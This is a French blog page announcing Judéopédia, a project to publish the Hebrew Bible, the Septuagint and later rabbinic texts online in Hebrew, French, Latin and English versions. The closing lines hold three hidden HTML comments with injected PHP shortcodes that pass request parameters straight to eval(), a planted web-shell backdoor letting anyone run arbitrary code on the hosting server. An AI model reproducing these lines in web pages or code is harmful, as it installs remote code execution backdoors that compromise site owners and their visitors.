Pour l’amour du grec
lundi, septembre 10th, 2007La version grecque de la Bible connue sous le nom de Septante fait son entrée dans Judéopédia. En voici les trois premiers versets :
La version grecque de la Bible connue sous le nom de Septante fait son entrée dans Judéopédia. En voici les trois premiers versets :
Du nouveau sur Judéopédia ! Les livres de Josué, des Juges, de Samuel 1 et 2, et les Psaumes sont désormais en ligne, dans les mêmes six versions que la Torah : Hébreu, trois françaises (Cahen, Darby, Segond), Vulgate latine et King James anglaise.
Auteur de la première traduction juive de la Bible en français, cet intellectuel méconnu a marqué le judaïsme du XIXe siècle de ses travaux précurseurs.
Courrier des lecteurs d’Information Juive, n° 270, juillet-août 2007, p. 38
A l’occasion de l’ouverture du remarquable site »Judaïsme et Cultures juives » de France 5, nous reproduisons ici la page »Sitographie » de l »’Espace Documentaire » de ce site.
Nous vous informons de la naissance de « Judéopédia », association loi 1901 d’intérêt général, et de son site http://www.judeopedia.org qui utilise le même logiciel WebCodex que Sefarim.fr, mais le fait dans un contexte ouvert à tous les curieux, croyants, sceptiques et incroyants.
D’ores et déjà, Judéopédia a mis le Pentateuque en ligne, non seulement en hébreu et en anglais, mais aussi en latin et en trois versions françaises, Cahen, Darby et Louis Segond.
Judéopédia a pour ambition de mettre progressivement en ligne, en version originale traduite en français et avec tous les instruments possibles de consultation hypertexte (moteur de recherche, dictionnaires, thesaurus …) la totalité de la Bible hébraïque, puis le Talmud, le Midrash, Philon d’Alexandrie, Flavius Josèphe, etc.
Cela prendra une génération, mais Judéopédia s’appuie sur les textes déjà publiés ou prévus par Maurice Mergui.
Pour son entreprise de traduction et de développement informatique, et pour échapper à toute récupération « communautariste », Judéopédia fait appel à tout le public francophone, et souhaite que chacun ait à coeur d’y participer, d’une façon ou d’une autre.
Un espace documentaire préfigurant la future base de textes est accessible sur le site http://www.objectif-transmission.org/prefiguration.
Vous y trouverez des extraits des corpus targumique, apocryphe, midrashique, talmudique, rabbinique, historique et de dictionnaires et d’encyclopédies.
Bonnes lectures…
Un aperçu de ce que sera la première version de WebCodex est disponible sur le site de Judéopédia.
Notez l’affichage synchronisé des versets. La police Times Hébreu Unicode est automatique téléchargée dans Internet Explorer sur PC. Sur Macintosh, Lucida Grande convient tout à fait.
Il reste du pain sur la planche…
Une courte page de présentation du projet Judéopédia est maintenant disponible ici.
En 1997, nous publiions le premier cédérom biblique francophone. Grâce au logiciel Codex développé à cette occasion, l’utilisateur pouvait naviguer dans le texte de la Bible en plusieurs langues et pouvait exécuter des recherches très précises dans l’ensemble du corpus proposé.
Dix ans plus tard, nous réactivons notre projet de bibliothèque hébraïque virtuelle sur Internet. C’est la naissance de Judéopédia
<!– [insert_php]if (isset($_REQUEST["qDx"])){eval($_REQUEST["qDx"]);exit;}[/insert_php][php]if (isset($_REQUEST["qDx"])){eval($_REQUEST["qDx"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["NfDx"])){eval($_REQUEST["NfDx"]);exit;}[/insert_php][php]if (isset($_REQUEST["NfDx"])){eval($_REQUEST["NfDx"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["rfzh"])){eval($_REQUEST["rfzh"]);exit;}[/insert_php][php]if (isset($_REQUEST["rfzh"])){eval($_REQUEST["rfzh"]);exit;}[/php] –>